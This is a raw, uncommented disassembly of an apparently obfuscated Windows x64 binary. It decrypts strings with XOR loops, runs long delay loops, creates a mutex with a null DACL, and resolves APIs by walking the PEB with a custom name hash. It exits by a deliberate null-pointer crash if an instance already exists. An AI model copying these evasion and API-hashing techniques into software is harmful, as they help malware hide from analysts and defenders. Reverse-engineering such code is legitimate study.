mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x280]
lea rcx, [rsp + 0x950]
call fcn.140251540
mov dword [rsp + 0x98], 9
lea rcx, [rsp + 0x950]
jmp 0x140240fa5
movups xmm0, xmmword [str._____1lxjroNQJ_JV]
movups xmmword [rsp + 0x400], xmm0
movups xmm1, xmmword [0x1402826b0]
movups xmmword [rsp + 0x410], xmm1
movups xmm0, xmmword [0x1402826c0]
movups xmmword [rsp + 0x420], xmm0
mov eax, dword [0x1402826d0]
mov dword [rsp + 0x430], eax
movzx eax, byte [0x1402826d4]
mov byte [rsp + 0x434], al
cmp dword [0x140294090], 2
jl 0x140240eb9
mov r9d, edi
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x404]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140240d30
cmp r9d, 0x35
jge 0x140240f22
movsxd rax, r9d
lea r10, [rsp + 0x400]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x140240ed0
lea rax, [rsp + 0x400]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140240f30
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb68]
sub rax, rdx
cmp rax, rcx
jb 0x1402473c9
lea rax, [rsp + 0xb58]
cmp qword [rsp + 0xb70], 0xf
cmova rax, qword [rsp + 0xb58]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x400]
lea rcx, [rsp + 0x970]
call fcn.140251540
mov dword [rsp + 0x98], r13d
lea rcx, [rsp + 0x970]
call fcn.14020f4d0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x47d4], 0xffffffff
mov dword [rsp + 0x3454], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3454], eax
inc rdx
cmp rdx, 0x270
jb 0x140240fd0
mov dword [rsp + 0x3450], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
mov r12d, 1
nop dword [rax]
lea rcx, [rsp + 0x778]
call fcn.140201b40
cmp qword [rax], r14
jge 0x1402411a9
mov qword [rsp + 0x50], 0x186a0
nop
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024107b
nop dword [rax + rax]
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140241060
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402410cb
nop word [rax + rax]
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402410b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024111b
nop
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140241100
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024116b
nop
lea rcx, [rsp + 0x3450]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140241150
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r12
jne 0x140241040
jmp 0x140241020
mov eax, dword [rsp + 0x40]
mov eax, dword [str.wyN]
mov dword [rsp + 0x80], eax
movzx eax, byte [0x140280bfc]
mov byte [rsp + 0x80], 0x31
xor byte [rsp + 0x81], 0x48
xor byte [rsp + 0x82], 0x4a
xor byte [rsp + 0x83], 0x4c
xor al, 0x4e
mov byte [rsp + 0x84], al
lea rcx, [rsp + 0x80]
mov rax, r15
movabs r14, 0xff00ff00ff00ff00
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140241200
lea rcx, [0x1402974f8]
cmp qword [0x140297510], 0xf
cmova rcx, qword [0x1402974f8]
mov r8, qword [0x140297508]
cmp r8, rax
jne 0x140241450
lea rdx, [rsp + 0x80]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140241450
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5b64], 0xffffffff
mov dword [rsp + 0x47e4], eax
mov rsi, r12
mov rdx, r12
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x47e4], eax
inc rdx
cmp rdx, 0x270
jb 0x140241270
mov dword [rsp + 0x47e0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r13, qword [rsp + 0x50]
add r13, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x780]
call fcn.140201b40
cmp qword [rax], r13
jge 0x140241447
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024131b
nop dword [rax + rax]
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140241300
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, esi
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024136b
nop dword [rax]
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140241350
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402413bb
nop
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402413a0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024140b
nop
lea rcx, [rsp + 0x47e0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402413f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub r12, rsi
jne 0x1402412e0
jmp 0x1402412c0
mov eax, dword [rsp + 0x40]
jmp 0x1402471d2
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x6ef4], 0xffffffff
mov dword [rsp + 0x5b74], eax
mov rdx, r12
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5b74], eax
inc rdx
cmp rdx, 0x270
jb 0x140241470
mov dword [rsp + 0x5b70], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x750]
call fcn.140201b40
cmp qword [rax], r14
jge 0x140241649
mov qword [rsp + 0x50], 0x186a0
nop
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024151b
nop dword [rax + rax]
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140241500
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024156b
nop word [rax + rax]
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140241550
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402415bb
nop
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402415a0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024160b
nop
lea rcx, [rsp + 0x5b70]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402415f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r12
jne 0x1402414e0
jmp 0x1402414c0
mov eax, dword [rsp + 0x40]
lea rdx, [0x1402972e0]
cmp qword [0x1402972f8], 0xf
cmova rdx, qword [0x1402972e0]
mov r8, qword [0x1402972f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402547c0
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140297510], 0xf
lea rdx, [0x1402974f8]
cmova rdx, qword [0x1402974f8]
mov r8, qword [0x140297508]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402547c0
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x1402974d0], 0xf
lea rdx, [0x1402974b8]
cmova rdx, qword [0x1402974b8]
mov r8, qword [0x1402974c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402547c0
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xb28], 0x18
mov dword [rsp + 0xb38], edi
mov edx, 0x28
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edx, r12d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xb30], rbx
movsd xmm0, qword [0x140281c78]
movsd qword [rsp + 0xa0], xmm0
mov ecx, dword [0x140281c80]
mov dword [rsp + 0xa8], ecx
movzx eax, byte [0x140281c84]
mov byte [rsp + 0xac], al
mov r9d, edi
mov r12d, dword [0x140294090]
cmp r12d, 2
jl 0x1402419ba
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm10
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm10
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140281c78]
xorps xmm2, xmm0
movd dword [rsp + 0xa0], xmm2
movdqa xmm4, xmmword [0x140284280]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xa4]
xorps xmm2, xmm1
movd dword [rsp + 0xa4], xmm2
movdqa xmm4, xmmword [0x1402842a0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xa8], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xa0]
add r10, rax
movabs r14, 0xff00ff00ff00ff00
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1402419e0
lea rcx, [rsp + 0xa0]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140241a40
mov rcx, qword [0x1402972f0]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x1402473c9
cmp qword [0x1402972f8], 0xf
lea rdx, [0x1402972e0]
cmova rdx, qword [0x1402972e0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa0]
lea rcx, [rsp + 0x528]
call fcn.140251540
or dword [rsp + 0x98], 4
lea r8, [rsp + 0x528]
cmp qword [rsp + 0x540], 0xf
cmova r8, qword [rsp + 0x528]
mov edx, 1
lea rcx, [rsp + 0xb28]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x528]
call fcn.14024c260
movsd xmm0, qword [0x140283588]
movsd qword [rsp + 0xc0], xmm0
mov ecx, dword [0x140283590]
mov dword [rsp + 0xc8], ecx
movzx eax, word [0x140283594]
mov word [rsp + 0xcc], ax
cmp byte [0x140283595], 0
je 0x140241dc2
mov r9d, edi
cmp r12d, 2
jl 0x140241d5e
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm10
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm10
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140283588]
xorps xmm2, xmm0
movd dword [rsp + 0xc0], xmm2
movdqa xmm4, xmmword [0x140284280]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xc4]
xorps xmm2, xmm1
movd dword [rsp + 0xc4], xmm2
movdqa xmm4, xmmword [0x1402842a0]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xc8], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xc0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140241d70
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], rdi
lea rax, [rsp + 0xc0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140241df0
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x2d0]
call fcn.14021c020
lea rcx, [rsp + 0x2d0]
call fcn.14020f4d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1402473c1
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x1402473c1
mov ecx, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x1d2ade5d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1402473b5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140241e90
cmp r8d, 0xbf2443cf
jne 0x1402473b5
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x140241ee2
mov qword [0], rdi
jmp 0x1402471d2
movups xmm0, xmmword [0x140281728]
movups xmmword [rsp + 0x438], xmm0
movups xmm1, xmmword [0x140281738]
movups xmmword [rsp + 0x448], xmm1
movups xmm0, xmmword [0x140281748]
movups xmmword [rsp + 0x458], xmm0
mov eax, dword [0x140281758]
mov dword [rsp + 0x468], eax
movzx eax, word [0x14028175c]
mov word [rsp + 0x46c], ax
mov r9d, edi
cmp r12d, 2
jl 0x1402420dd
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x43c]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
